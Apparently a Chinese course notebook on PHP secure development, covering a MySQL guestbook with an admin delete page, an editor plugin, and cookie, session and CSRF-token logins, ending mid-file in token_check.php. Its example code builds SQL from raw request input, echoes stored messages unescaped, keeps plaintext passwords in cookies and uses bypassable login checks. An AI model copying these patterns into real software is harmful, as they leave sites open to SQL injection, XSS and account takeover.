PHP

参考文档:025-安全开发-PHP应用&文件管理&包含&写入&删除&下载&上传&遍历&安全_php 文件管理-CSDN博客

第一天

PHP应用&留言板功能&超全局变量&数据库操作&第三方

插件引用

环境配置

安装PHPStrom

PhpStorm: The PHP IDE by JetBrains

配置PHPStudy

安装Mysql管理工具:https://www.navicat.com.cn/download/navicat-premium

1、开启phpstudy的中间件和数据库服务,修改php的版本为7.0.9

image-20250514164102006 image-20250514164135741

2、使用Navicat创建所需要的表名和字段

image-20250514174545057

3、使用PHPStorm项目创建php项目

注意:

  • 新建项目位置:G:\develop\safety\phpstudy_pro\WWW\demo1
  • 解释器使用phpstudy目录下的phpstudy_pro\Extensions\php\php7.0.9nts\php.exe
  • image-20250514180205687

数据库操作-增删改查

PHP函数:连接,选择,执行,结果,关闭等

PHP相关函数

mysqli_connect() 打开一个到MySQL的新的连接。
mysqli_select_db() 更改连接的默认数据库。
mysqli_query() 执行某个针对数据库的查询。
mysqli_fetch_row() 从结果集中取得一行,并作为枚举数组返回。
mysqli_close() 关闭先前打开的数据库连接。

SQL相关语句

查:select * from 表名 where 列名=‘条件’;
增:insert into 表名(列名1, 列名2) value(‘列1值1’, ‘列2值2’);
删:delete from 表名 where 列名 = ‘条件’;
改:update 表名 set 列名 = 数据 where 列名 = ‘条件’;

PHP留言板前后端功能实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<!-- HTML 表单 -->
<form id="form1" name="form1" method="post" action="">
<p>
<!-- 用户名输入框 -->
用户名:<input type="text" name="username">
</p>
<p>
内容:
</p>
<p>
<!-- 文本框 -->
<textarea name="content"></textarea>
</p>
<!-- 提交按钮 -->
<input type="submit" name="submit" id="submit" value="提交">
</form>

<?php
// 数据库连接参数
$dbip = 'localhost';
$dbuser = 'root';
$dbpass = 'root';
$dbname = 'test';

// 使用 mysqli_connect() 函数建立与数据库的连接
$con = mysqli_connect($dbip, $dbuser, $dbpass, $dbname);

// 检查连接是否成功
if (!$con) {
die("连接错误:" . mysqli_connect_errno());
} else {
// 获取用户名
$u = @$_POST['username'];

// 检查用户名是否非空
if (!empty($u)) {
// 获取内容、IP地址和用户代理信息
$c = @$_POST['content'];
$i = @$_SERVER['REMOTE_ADDR']; /*获取客户端 IP 地址*/
$ua = @$_SERVER['HTTP_USER_AGENT'];/*获取客户端用户代理信息*/

// 数据库查询语句,将数据插入到名为 gbook 的表中
$sql = "INSERT INTO gbook(`username`, `content`, `ipaddr`, `uagent`) VALUES ('$u', '$c', '$i', '$ua');";

// 执行数据库查询
if (mysqli_query($con, $sql)) {
echo "<script>alert('留言成功!')</script>";

// 查询并显示留言列表
$sql1 = "SELECT * FROM gbook";
$data = mysqli_query($con, $sql1);
while ($row = mysqli_fetch_row($data)) {
echo '<hr>';
echo '用户名:' . $row[0] . '<br>';
echo '内容:' . $row[1] . '<br>';
echo 'IP地址:' . $row[2] . '<br>';
echo 'UA浏览器:' . $row[3] . '<br>';
}
} else {
echo "<script>alert('留言失败!')</script>";
}
} else {
// 用户名为空的情况
echo "<script>alert('用户名不能为空!')</script>";
}
}
?>

HTML表单部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<form id="form1" name="form1" method="post" action="">
<p>
<!-- 用户名输入框 -->
用户名:<input type="text" name="username">
</p>
<p>
内容:
</p>
<p>
<!-- 文本框 -->
<textarea name="content"></textarea>
</p>
<!-- 提交按钮 -->
<input type="submit" name="submit" id="submit" value="提交">
</form>

解释:

创建form表单:

<form id="form1" name="form1" method="post" action=""> </form>

id:为标签名,进行标识(唯一)

name: 表单名称

method:表单提交的方法使用POST方式

action:action="" 通常是在 HTML 表单中的 <form> 元素中设置 action 属性来指定表单提交的目标 URL。如果 action 属性为空字符串 (action=""),则表单数据将被提交到当前页面的 URL

段落标签:<p></p>

用户名输入框:

<input type="text" name="username">

type:类型

name:输入框名称

文本框:

<textarea name="content"></textarea>

提交按钮:

<input type="submit" name="submit" id="submit" value="提交">

image-20250514181552656

PHP部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
// 数据库连接参数
$dbip = 'localhost';
$dbuser = 'root';
$dbpass = 'root';
$dbname = 'test';

// 使用 mysqli_connect() 函数建立与数据库的连接
$con = mysqli_connect($dbip, $dbuser, $dbpass, $dbname);

// 检查连接是否成功
if (!$con) {
die("连接错误:" . mysqli_connect_errno());
} else {
// 获取用户名
$u = @$_POST['username'];

// 检查用户名是否非空
if (!empty($u)) {
// 获取内容、IP地址和用户代理信息
$c = @$_POST['content'];
$i = @$_SERVER['REMOTE_ADDR']; /*获取客户端 IP 地址*/
$ua = @$_SERVER['HTTP_USER_AGENT'];/*获取客户端用户代理信息*/

// 数据库查询语句,将数据插入到名为 gbook 的表中
$sql = "INSERT INTO gbook(`username`, `content`, `ipaddr`, `uagent`) VALUES ('$u', '$c', '$i', '$ua');";

// 执行数据库查询
if (mysqli_query($con, $sql)) {
echo "<script>alert('留言成功!')</script>";

// 查询并显示留言列表
$sql1 = "SELECT * FROM gbook";
$data = mysqli_query($con, $sql1);
while ($row = mysqli_fetch_row($data)) {
echo '<hr>';
echo '用户名:' . $row[0] . '<br>';
echo '内容:' . $row[1] . '<br>';
echo 'IP地址:' . $row[2] . '<br>';
echo 'UA浏览器:' . $row[3] . '<br>';
}
} else {
echo "<script>alert('留言失败!')</script>";
}
} else {
// 用户名为空的情况
echo "<script>alert('用户名不能为空!')</script>";
}
}
?>

解释

$dbip = ‘localhost’;
$dbuser = ‘root’;
$dbpass = ‘root’;
$dbname = ‘test’;

数据库连接所需要的参数:主机名、用户名、用户密码、所使用的数据库

$con = mysqli_connect($dbip, $dbuser, $dbpass, $dbname);

host 可选。规定主机名或 IP 地址。
username 可选。规定 MySQL 用户名。
password 可选。规定 MySQL 密码。
dbname 可选。规定默认使用的数据库。
port 可选。规定尝试连接到 MySQL 服务器的端口号。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
if (!$con) {
die("连接错误:" . mysqli_connect_errno());
} else {
// 获取用户名
$u = @$_POST['username'];

// 检查用户名是否非空
if (!empty($u)) {
// 获取内容、IP地址和用户代理信息
$c = @$_POST['content'];
$i = @$_SERVER['REMOTE_ADDR']; /*获取客户端 IP 地址*/
$ua = @$_SERVER['HTTP_USER_AGENT'];/*获取客户端用户代理信息*/

// 数据库查询语句,将数据插入到名为 gbook 的表中
$sql = "INSERT INTO gbook(`username`, `content`, `ipaddr`, `uagent`) VALUES ('$u', '$c', '$i', '$ua');";

// 执行数据库查询
if (mysqli_query($con, $sql)) {
echo "<script>alert('留言成功!')</script>";

// 查询并显示留言列表
$sql1 = "SELECT * FROM gbook";
$data = mysqli_query($con, $sql1);
while ($row = mysqli_fetch_row($data)) {
echo '<hr>';
echo '用户名:' . $row[0] . '<br>';
echo '内容:' . $row[1] . '<br>';
echo 'IP地址:' . $row[2] . '<br>';
echo 'UA浏览器:' . $row[3] . '<br>';
}
} else {
echo "<script>alert('留言失败!')</script>";
}
} else {
// 用户名为空的情况
echo "<script>alert('用户名不能为空!')</script>";
}
}

mysqli_connect_errno():显示数据库连接时的报错信息

$u = @$_POST[‘username’] :获取POST请求方法中的username值

$c = @$_POST[‘content’]:获取POST请求方法中的content值

$i = @$_SERVER[‘HTTP_USER_AGENT’]:获取客户端用户代理信息

注意:使用 @ 符号可以抑制错误报告。在给变量赋值的同时使用 @ 符号时,如果发生错误(比如未定义的变量),PHP 将不会生成错误消息,而是返回 NULL 或者一个空值。

mysqli_query($con, $sql1): 执行数据库查询

全局变量和函数调用

问题发现:当我们在不同php文件执行sql语句时,sql相关配置信息需要反复重写

方法解决:将经常用到的数据库链接操作生成config.php文件,方便管理

1、创建config.php文件

image-20250514184739321

1
2
3
4
5
6
7
<?php
$dbip = 'localhost';
$dbuser = 'root';
$dbpass = 'root';
$dbname = 'test';
$con = mysqli_connect($dbip, $dbuser, $dbpass, $dbname);
?>

2、修改gbook.php文件

image-20250514184818134

1
include('./config.php');

2、创建admin文件夹添加删除功能

image-20250514185159218

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
// 包含数据库配置文件
include '../config.php';//由于创建的文件夹admin,其距离config.php匹配使用../

// 查询所有留言
$sql1="select * from gbook";
$data=mysqli_query($con,$sql1);
// 循环遍历每条留言并显示信息和删除链接
while ($row=mysqli_fetch_row($data)){
echo '<hr>';
echo '用户名:'.$row[0].'<br>';
echo '内容:'.$row[1].'<br>';
echo 'IP地址:'.$row[2].'<br>';
echo 'UA浏览器:'.$row[3].'<br>';
**// 提供删除链接,传递留言用户名作为参数
echo "<a href='gbook-admin.php?del=$row[0]'>删除</a>";**
}

// 获取要删除的留言用户名
$delstr=@$_GET['del'];
**// 构建删除留言的 SQL 查询语句
$sql2="delete from gbook where username ='$delstr';";
// 执行删除操作
if(mysqli_query($con,$sql2)){
echo "<script>alert('删除成功 !')</script>";**
}

问题发现:当我们没有传入删除的用户名时,也会进行弹窗

原因分析:没有对del参数是否有值进行判断

解决方法;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 获取要删除的留言用户名
$delstr = @$_GET['del'];

**// 检查是否设置了要删除的留言用户名
if (isset($delstr)) {**
// 构建删除留言的 SQL 查询语句
$sql2 = "DELETE FROM gbook WHERE username ='$delstr';";

// 执行删除操作
if (mysqli_query($con, $sql2)) {
echo "<script>alert('删除成功!')</script>";
}
}

问题发现:是否每次创建php文件方法都需要再写一遍呢?

解决方法:使用方法进行包装

1、代码优化

gbook.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
include 'config.php';

//添加留言
function add_gbook($con){
$u=@$_POST['username'];
if (!empty($u)) {

$c = @$_POST['content'];
$i = @$_SERVER['REMOTE_ADDR']; /*获取客户端 IP 地址*/
$ua = @$_SERVER['HTTP_USER_AGENT'];/*获取客户端用户代理信息*/
// 数据库查询语句,将数据插入到名为 gbook 的表中
$sql = "insert into gbook(`username`, `content`,`ipaddr`,`uagent`) value('$u', '$c','$i','$ua');";
if (mysqli_query($con, $sql)) {
echo "<script>alert('留言成功!')</script>";
}
}
}

//显示留言
function show_gbook($con)
{
$sql1="select * from gbook";
$data=mysqli_query($con,$sql1);
while ($row=mysqli_fetch_row($data)) {
echo '<hr>';
echo '用户名:' . $row[0] . '<br>';
echo '内容:' . $row[1] . '<br>';
echo 'IP地址:' . $row[2] . '<br>';
echo 'UA浏览器:' . $row[3] . '<br>';
}
}
// 调用添加留言的函数
add_gbook($con);
// 调用显示留言的函数
show_gbook($con);

gbook-admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
// 包含数据库配置文件
include '../config.php';
// 包含处理留言的功能文件
include '../gbook.php';

// 调用显示留言的函数,传递 'del' 参数,以显示删除链接
show_gbook($con,'del');

// 获取要删除的留言用户名
$delstr=@$_GET['del'];
// 检查是否设置了要删除的留言用户名
if(isset($delstr)){
// 构建删除留言的 SQL 查询语句
$sql2="delete from gbook where username ='$delstr';";
// 执行删除操作
if(mysqli_query($con,$sql2)){
echo "<script>alert('删除成功 !')</script>";
}
}

// 查询所有留言
/*$sql1="select * from gbook";
$data=mysqli_query($con,$sql1);
// 循环遍历每条留言并显示信息和删除链接
while ($row=mysqli_fetch_row($data)){
echo '<hr>';
echo '用户名:'.$row[0].'<br>';
echo '内容:'.$row[1].'<br>';
echo 'IP地址:'.$row[2].'<br>';
echo 'UA浏览器:'.$row[3].'<br>';
// 提供删除链接,传递留言用户名作为参数
echo "<a href='gbook-admin.php?del=$row[0]'>删除</a>";
}*/

添加第三方插件实现上传

引用ueditor并创建对应文件夹,导入成功后,然后改变html代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script src="./ueditor/ueditor.config.js">/*引入配置文件*/</script>
<script src="./ueditor/ueditor.all.js">/*引入源码文件*/</script>**
<form id="form1" name="form1" method="post" action=""
<p>
用户名:<input type="text" name="username">
</p>
<p>
内容:
</p>
<p>
**<textarea id="content" rows="10" cols="70" name="content" style="border:1px solid #E5E5E5;">
</textarea>
<script type="text/javascript">
UE.getEditor("content");

//实例化编辑器传参,id为将要被替换的容器。
</script>
</p>

<input type="submit" name="submit" id="submit" value="提交">

</form>

image-20250514192147586

image-20250514192206166

源码

gbook.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<script src="./ueditor/ueditor.config.js">/*引入配置文件*/</script>
<script src="./ueditor/ueditor.all.js">/*引入源码文件*/</script>
<form id="form1" name="form1" method="post" action=""
<p>
用户名:<input type="text" name="username">
</p>
<p>
内容:
</p>
<p>
<textarea id="content" rows="10" cols="70" name="content" style="border:1px solid #E5E5E5;">
</textarea>
<script type="text/javascript">
UE.getEditor("content");

//实例化编辑器传参,id为将要被替换的容器。
</script>
</p>

<input type="submit" name="submit" id="submit" value="提交">

</form>

<?php
/*// 使用 mysqli_connect() 函数建立与数据库的连接
// $dbip: 数据库服务器的 IP 地址或主机名
// $dbuser: 数据库用户名
// $dbpass: 数据库用户的密码
// $dbname: 要连接的数据库名*/

/*$dbip='localhost';
$dbuser='root';
$dbpass='root';
$dbname='dome01';
$con=mysqli_connect($dbip,$dbuser,$dbpass,$dbname);*/
include 'config.php';

//添加留言
function add_gbook($con){
$u=@$_POST['username'];
if (!empty($u)) {

$c = @$_POST['content'];
$i = @$_SERVER['REMOTE_ADDR']; /*获取客户端 IP 地址*/
$ua = @$_SERVER['HTTP_USER_AGENT'];/*获取客户端用户代理信息*/
// 数据库查询语句,将数据插入到名为 gbook 的表中
$sql = "insert into gbook(`username`, `content`,`ipaddr`,`uagent`) value('$u', '$c','$i','$ua');";
if (mysqli_query($con, $sql)) {
echo "<script>alert('留言成功!')</script>";
}
}

}

//显示留言
function show_gbook($con,$del)
{
$sql1="select * from gbook";
$data=mysqli_query($con,$sql1);
while ($row=mysqli_fetch_row($data)) {
echo '<hr>';
echo '用户名:' . $row[0] . '<br>';
echo '内容:' . $row[1] . '<br>';
echo 'IP地址:' . $row[2] . '<br>';
echo 'UA浏览器:' . $row[3] . '<br>';
//检查变量 $del 是否等于字符串 'del'。如果条件成立,就会生成一个包含删除链接的 HTML 代码。
//提供删除链接,传递留言用户名作为参数
if ($del=='del'){
echo "<a href='gbook-admin.php?del=$row[0]'>删除</a>";
}
}
}

add_gbook($con);
// 调用显示留言的函数,传递 'x' 参数
show_gbook($con,'x');



gbook-admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
// 包含数据库配置文件
include '../config.php';
// 包含处理留言的功能文件
include '../gbook.php';

// 调用显示留言的函数,传递 'del' 参数,以显示删除链接
show_gbook($con,'del');

// 获取要删除的留言用户名
$delstr=@$_GET['del'];
// 检查是否设置了要删除的留言用户名
if(isset($delstr)){
// 构建删除留言的 SQL 查询语句
$sql2="delete from gbook where username ='$delstr';";
// 执行删除操作
if(mysqli_query($con,$sql2)){
echo "<script>alert('删除成功 !')</script>";
}
}

// 查询所有留言
/*$sql1="select * from gbook";
$data=mysqli_query($con,$sql1);
// 循环遍历每条留言并显示信息和删除链接
while ($row=mysqli_fetch_row($data)){
echo '<hr>';
echo '用户名:'.$row[0].'<br>';
echo '内容:'.$row[1].'<br>';
echo 'IP地址:'.$row[2].'<br>';
echo 'UA浏览器:'.$row[3].'<br>';
// 提供删除链接,传递留言用户名作为参数
echo "<a href='gbook-admin.php?del=$row[0]'>删除</a>";
}*/

config.php

1
2
3
4
5
6
7
8
<?php
$dbip = 'localhost';
$dbuser = 'root';
$dbpass = 'root';
$dbname = 'test';
$con = mysqli_connect($dbip, $dbuser, $dbpass, $dbname);
?>

第二天

PHP应用&后台模&Session&Cookie&Token&身份验证&唯一性

Cookie技术

Untitled

Untitled

Cookie产生原理图:

1、客户端向服务器发送HTTP请求。
2、服务器检查请求头中是否包含cookie信息。
3、如果请求头中包含cookie信息,则服务器使用该cookie来识别客户端,否则服务器将生成一个新的cookie。
4、服务器在响应头中设置cookie信息并将其发送回客户端。
5、客户端接收响应并将cookie保存在本地。
6、当客户端发送下一次HTTP请求时,它会将cookie信息附加到请求头中。
7、服务器收到请求并检查cookie的有效性。
8、如果cookie有效,则服务器响应请求。否则,服务器可能会要求客户端重新登录。

建立cookie:setcookie()

删除cookie:unset()

创建php文件

  • admin-c.php登陆文件
  • index-c.php登录成功的首页文件
  • logout-c.php登出文件

admin-c.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>后台登录</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
}

form {
background-color: #fff;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
padding: 20px;
width: 300px;
}

label {
display: block;
margin-bottom: 8px;
}

input {
width: 100%;
padding: 8px;
margin-bottom: 16px;
box-sizing: border-box;
}

button {
background-color: #4caf50;
color: #fff;
padding: 10px;
border: none;
border-radius: 4px;
cursor: pointer;
width: 100%;
}

button:hover {
background-color: #45a049;
}
</style>
</head>
<body>
<!--//你需要在实际应用中将登录表单的 action
//属性指向后台处理登录的脚本(例如 login.php)
//由于当前就是登录文件为空即可-->
<form action="" method="post">
<label for="username">用户名:</label>
<input type="text" id="username" name="username" required>

<label for="password">密码:</label>
<input type="password" id="password" name="password" required>

<button type="submit">登录</button>
</form>

</body>
</html>

<?php
include "../config.php";
//登陆文件
/*
* 1.接收输入账号密码
* 2.判断账号密码是否正确
* 3.正确后生成cookie进行保存
* 4.错误的账户密码进行提示
* 5.跳转至成功页面
*/
//1.接收输入账号密码
$user=$_POST['username'];
$pass=$_POST['password'];
//2.进行判断账号密码是否正确
// 构建 SQL 查询语句,用于判断账号密码是否正确
$sql = "SELECT * FROM admin WHERE username='$user' AND password='$pass';";
//echo $sql;

// 执行 SQL 查询
$data = mysqli_query($con, $sql);

// 判断请求是否为 POST
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// 检查查询结果行数是否大于 0
if (mysqli_num_rows($data) > 0) {
$expire = time() + 60 * 60 * 24 * 30; // 设置 Cookie 过期时间为一个月后
setcookie('username', $user, $expire, '/'); // 设置用户名 Cookie
setcookie('password', $pass, $expire, '/'); // 设置密码 Cookie

// 重定向到 index-c.php 页面
header('Location: index-c.php');
exit(); // 终止脚本执行
} else {
echo "<script>alert('登录失败!')</script>"; // 输出登录失败的提示
}
}

index-c.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
//登录成功的首页文件
if ($_COOKIE['username']!='admin' and $_COOKIE['password']!='123456')
// 重定向到 index-c.php 页面
header('Location: index-c.php');
?>

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>后台首页</title>
</head>
<body>
<h1>后台首页</h1>
<p>欢迎您,<?php echo $_COOKIE['username']; ?>!</p>
<p><a href="logout-c.php">退出登录</a></p>
</body>
</html>

logout-c.php

1
2
3
4
5
6
7
8
<?php
setcookie('username', '', time() - 3600, '/');
setcookie('password', '', time() - 3600, '/');
// 跳转到登录页面
header('Location: admin-c.php');
exit;
?>

cookie安全性

  1. 信息泄露:如果Cookie中包含敏感信息(如用户ID、密码等),攻击者可以通过窃取Cookie来获取这些敏感数据。为了防止信息泄露,应确保敏感信息在传输和存储过程中进行加密,并使用安 全的传输协议(如HTTPS)来保护Cookie的传输过程。
  2. 跨站点脚本攻击(XSS):攻击者可以通过在Web应用程序中注入恶意脚本来获取用户的Cookie。为了防止XSS攻击,开发人员应对用户输入进行正确的验证和过滤,并对输出进行适当的转义,以防止恶意脚本的注入。
  3. 跨站点请求伪造(CSRF):攻击者可以通过欺骗用户访问恶意网站来利用用户的身份进行非法操作。为了防止CSRF攻击,可以使用随机生成的令牌(CSRF令牌)来验证每个请求的合法性,并确保令牌在每个请求中都是唯一且难以预测的。
  4. 会话劫持:攻击者可以通过窃取用户的会话Cookie来冒充用户身份。为了防止会话劫持,可以通过使用安全标志(如”Secure”和”HttpOnly”)来限制Cookie的使用范围,并在会话身份验证上使用额外的保护措施,如双因素身份验证。
  5. 不安全的存储:如果Cookie存储在用户计算机上的不安全位置,如明文存储或不加密的存储,攻击者可以轻易地访问和修改Cookie。为了保护Cookie的存储,应将Cookie存储在安全的位置,如服务器端的数据库或加密的本地存储。

Session技术

Session产生原理

1、客户端向服务器发送HTTP请求。
2、服务器为客户端生成一个唯一的session ID,并将其存储在服务器端的存储器中(如文件、数据库等)。
3、服务器将生成的session ID作为一个cookie发送给客户端。
4、客户端将session ID保存为一个cookie,通常是在本地浏览器中存储。
5、当客户端在发送下一次HTTP请求时,它会将该cookie信息附加到请求头中,以便服务器可以通过该session ID来识别客户端。
6、服务器使用session ID来检索存储在服务器端存储器中的与该客户端相关的session数据,从而在客户端和服务器之间共享数据

session_start(): 启动会话,用于开始或恢复一个已经存在的会话。
$_SESSION: 用于存储和访问当前会话中的所有变量。
session_destroy(): 销毁当前会话中的所有数据。
session_unset(): 释放当前会话中的所有变量。
Session存储路径:PHP.INI中session.save_path设置路径:

创建php文件

admin-s.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>后台登录</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
}

form {
background-color: #fff;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
padding: 20px;
width: 300px;
}

label {
display: block;
margin-bottom: 8px;
}

input {
width: 100%;
padding: 8px;
margin-bottom: 16px;
box-sizing: border-box;
}

button {
background-color: #4caf50;
color: #fff;
padding: 10px;
border: none;
border-radius: 4px;
cursor: pointer;
width: 100%;
}

button:hover {
background-color: #45a049;
}
</style>
</head>
<body>
<!--//你需要在实际应用中将登录表单的 action
//属性指向后台处理登录的脚本(例如 login.php)
//由于当前就是登录文件为空即可-->
<form action="" method="post">
<label for="username">用户名:</label>
<input type="text" id="username" name="username" required>

<label for="password">密码:</label>
<input type="password" id="password" name="password" required>

<button type="submit">登录</button>
</form>

</body>
</html>

<?php
include "../config.php";
//登陆文件,使用session验证
/*
* 1.接收输入账号密码
* 2.判断账号密码是否正确
* 3.正确后生成cookie进行保存
* 4.错误的账户密码进行提示
* 5.跳转至成功页面
*/
//1.接收输入账号密码
$user=$_POST['username'];
$pass=$_POST['password'];
//2.进行判断账号密码是否正确
// 构建 SQL 查询语句,用于判断账号密码是否正确
$sql = "SELECT * FROM admin WHERE username='$user' AND password='$pass';";
//echo $sql;

// 执行 SQL 查询
$data = mysqli_query($con, $sql);

// 判断请求是否为 POST
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// 检查查询结果行数是否大于 0
if (mysqli_num_rows($data) > 0) {
session_start();
$_SESSION['username']=$user;
$_SESSION['password']=$pass;

// 重定向到 index-c.php 页面
header('Location: index-s.php');
exit(); // 终止脚本执行
} else {
echo "<script>alert('登录失败!')</script>"; // 输出登录失败的提示
}
}

index-s.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//登入界面文件,使用session验证
<?php
//登录成功首页文件-采用session验证
//判断省去了数据库查询获取帐号密码的操作 直接赋值
session_start();
if($_SESSION['username']!='admin' && $_SESSION['password']!='123456'){
header('Location: admin-s.php');
}

?>

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>后台首页</title>
</head>
<body>
<h1>后台首页</h1>
<p>欢迎您,<?php echo $_SESSION['username']; ?>!</p>
<p><a href="logout-s.php">退出登录</a></p>
</body>
</html>

logout-s.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//登出文件,使用session验证
// 开始会话
session_start();

// 清除 SESSION 变量,并销毁会话
session_unset();
session_destroy();

// 重定向到登录页面
header('Location: admin-s.php');
exit;
?>

在登录界面进行测试时,会发现\phpstudy_pro\Extensions\tmp\tmp产生文件(登录成功后)

username|s:5:”admin”;password|s:6:”123456”;

查看网站cookie信息

image-20250514204155298

会话劫持:会话劫持是指攻击者通过窃取合法用户的会话标识符(如会话ID或令牌)来冒充用户身份。为了防止会话劫持,应采取以下措施:
使用随机生成的、复杂的会话标识符,使其难以猜测。
在会话标识符上实施安全标志,如”Secure”和”HttpOnly”,以限制Cookie的使用范围。
在用户身份验证过程中使用额外的保护措施,如双因素身份验证。

会话固定攻击:会话固定攻击是指攻击者通过将自己的会话标识符强制应用于目标用户的会话来控制目标用户的会话。为了防止会话固定攻击,应采取以下措施:
在用户认证之前生成新的会话标识符,而不是在认证后重新使用现有的会话标识符。
在用户身份验证之前销毁旧会话,以确保新会话的安全性。

跨站点脚本攻击(XSS):XSS攻击可以窃取用户会话数据或以其他方式干扰会话。为了防止XSS攻击,应采取以下措施:
对用户输入进行正确的验证和过滤,以防止恶意脚本的注入。
对输出进行适当的转义,以防止恶意脚本在浏览器中执行。

跨站点请求伪造(CSRF):CSRF攻击可以利用用户的身份执行未经授权的操作。为了防止CSRF攻击,应采取以下措施:
使用随机生成的、唯一的CSRF令牌来验证每个请求的合法性。
将CSRF令牌嵌入到表单中,并在每个请求中验证令牌的有效性。

会话超时和注销:应设定适当的会话超时时间,以确保长时间不活动的会话被及时注销。同时,提供明确的注销功能,使用户可以主动终止会话。

Token技术

1、生成Token并将其存储在Session
2、生成Token并将其绑定在Cookie触发
3、尝试登录表单中带入Token验证逻辑
4、思考Token安全特性

创建php文件

token.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
// 生成Token并将其存储在Session中
session_start();
//1.因为是用的session维持会话,token已经绑定到下面的表单了
//2.token,生成之后直接存到session里,主要是方便重置token,
//每次token随表单提交后都需要重置以保持token的唯一性。
$_SESSION['token'] = bin2hex(random_bytes(16));
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>后台登录</title>
<style>
body {
background-color: #f1f1f1;
}
.login {
width: 400px;
margin: 100px auto;
background-color: #fff;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0,0,0,0.3);
padding: 30px;
}
.login h2 {
text-align: center;
font-size: 2em;
margin-bottom: 30px;
}
.login label {
display: block;
margin-bottom: 20px;
font-size: 1.2em;
}
.login input[type="text"], .login input[type="password"] {
width: 100%;
padding: 10px;
border: 1px solid #ccc;
border-radius: 5px;
font-size: 1.2em;
margin-bottom: 20px;
}
.login input[type="submit"] {
background-color: #2ecc71;
color: #fff;
border: none;
padding: 10px 20px;
border-radius: 5px;
font-size: 1.2em;
cursor: pointer;
}
.login input[type="submit"]:hover {
background-color: #27ae60;
}
</style>
</head>
<body>
<div class="login">
<h2>后台登录</h2>
<!-- 提交表单到 "token_check.php",使用 POST 方法 -->
<form action="token_check.php" method="post">
<!-- 隐藏域用于存储 CSRF token -->
<input type="hidden" name="token" value="<?php echo $_SESSION['token'] ; ?>">
<label for="username">用户名:</label>
<input type="text" name="username" id="username" required>
<label for="password">密码:</label>
<input type="password" name="password" id="password" required>
<input type="submit" value="登录">
</form>
</div>
</body>
</html>

token_check.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
session_start();
// 从 POST 请求中获取 token,如果不存在则设为空字符串
$token = $_POST['token'] ?? '';

if ($token !== $_SESSION['token']) {
// token不匹配,禁止访问
header('HTTP/1.1 403 Forbidden');
// 生成新的 token
$_SESSION['token'] = bin2hex(random_bytes(16));
// 输出访问被拒绝的信息
echo 'Access denied';
// 终止脚本执行
exit;
}else{
// 生成新的 token
$_SESSION['token'] = bin2hex(random_bytes(16));
// 检查用户名和密码是否匹配
